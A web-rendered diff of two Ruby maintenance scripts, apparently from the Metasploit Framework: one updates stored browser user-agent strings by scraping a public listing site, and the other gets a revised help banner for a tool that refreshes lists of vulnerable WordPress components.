regex = regex.gsub('{VALID_CHARS}', valid_chars)
|
||||
info "Checking: #{replace_marker}"
|
||||
|
||||
index = lines.index { |line| line.include?(replace_marker) }
|
||||
raise "Couldn't find marker #{replace_marker}" if index.nil?
|
||||
|
||||
uri = URI(url)
|
||||
response = Net::HTTP.get_response(uri)
|
||||
raise "Can't retrieve #{url}" unless response.is_a?(Net::HTTPSuccess)
|
||||
|
||||
match = response.body.match(/#{regex}/)
|
||||
raise "Couldn't match regex #{regex}" if match.nil?
|
||||
|
||||
new_string = match[1]
|
||||
|
||||
old_line = lines[index]
|
||||
if old_line.include?("'#{new_string}'")
|
||||
puts " (Unchanged): #{new_string}"
|
||||
else
|
||||
new_line = old_line.gsub(/'(.*)'/, "'#{new_string}'")
|
||||
if old_line == new_line
|
||||
raise " Line didn't change: #{old_line}"
|
||||
end
|
||||
puts " New value is: #{new_string}"
|
||||
lines[index] = new_line
|
||||
end
|
||||
end
|
||||
|
||||
chrome_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome"
|
||||
edge_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/edge"
|
||||
safari_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/safari"
|
||||
firefox_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/firefox"
|
||||
|
||||
user_agent_filename = 'lib/rex/user_agent.rb'
|
||||
lines = File.read(user_agent_filename).split("\n")
|
||||
|
||||
replace_agent_string(lines, 'Chrome Windows', chrome_url, '<td>Chrome \\(Standard\\)</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)</span>')
|
||||
replace_agent_string(lines, 'Chrome MacOS', chrome_url, '<td>Chrome \\(Standard\\)</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)</span>')
|
||||
replace_agent_string(lines, 'Edge Windows', edge_url, '<td>Edge \\(Standard\\)</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)</span>')
|
||||
replace_agent_string(lines, 'Safari iPad', safari_url, '<td>\s*Safari on <b>Ipad</b>\s*</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*iPad[{VALID_CHARS}]*)</span>')
|
||||
replace_agent_string(lines, 'Safari MacOS', safari_url, '<td>Safari \\(Standard\\)</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)</span>')
|
||||
replace_agent_string(lines, 'Firefox Windows', firefox_url, '<td>\s*Firefox on <b>Windows</b>\s*</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)</span>')
|
||||
replace_agent_string(lines, 'Firefox MacOS', firefox_url, '<td>\s*Firefox on <b>Macos</b>\s*</td>\s*<td>\s*<ul>\s*<li><span class="code">([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)</span>')
|
||||
|
||||
File.write(user_agent_filename, lines.join("\n") + "\n")
|
||||
@@ -1,9 +1,6 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# Update modules/auxiliary/scanner/http/wordpress_scanner.rb to have the most
|
||||
# up to date list of vuln components based on exploits/scanners in the framework
|
||||
#
|
||||
# by h00die
|
||||
#
|
||||
@@ -12,7 +9,9 @@ require 'optparse'
|
||||
|
||||
options = {}
|
||||
optparse = OptionParser.new do |opts|
|
||||
opts.banner = 'Usage: update_wordpress_vulnerabilities.rb [options]'
|
||||
opts.banner = 'Usage: ruby tools/dev/update_wordpress_vulnerabilities.rb [options]'
|
||||
opts.separator "This program updates data/wordlists/wp-exploitable-themes.txt and wp-exploitable-plugins.txt which are used by modules/auxiliary/scanner/http/wordpress_scanner.rb to have the most up-to-date list of vuln components"
|
||||
opts.separator ""
|
||||
opts.on('-h', '--help', 'Display this screen.') do
|
||||
puts opts
|
||||
exit
|
||||
|
||||
Reference in New Issue
Block a user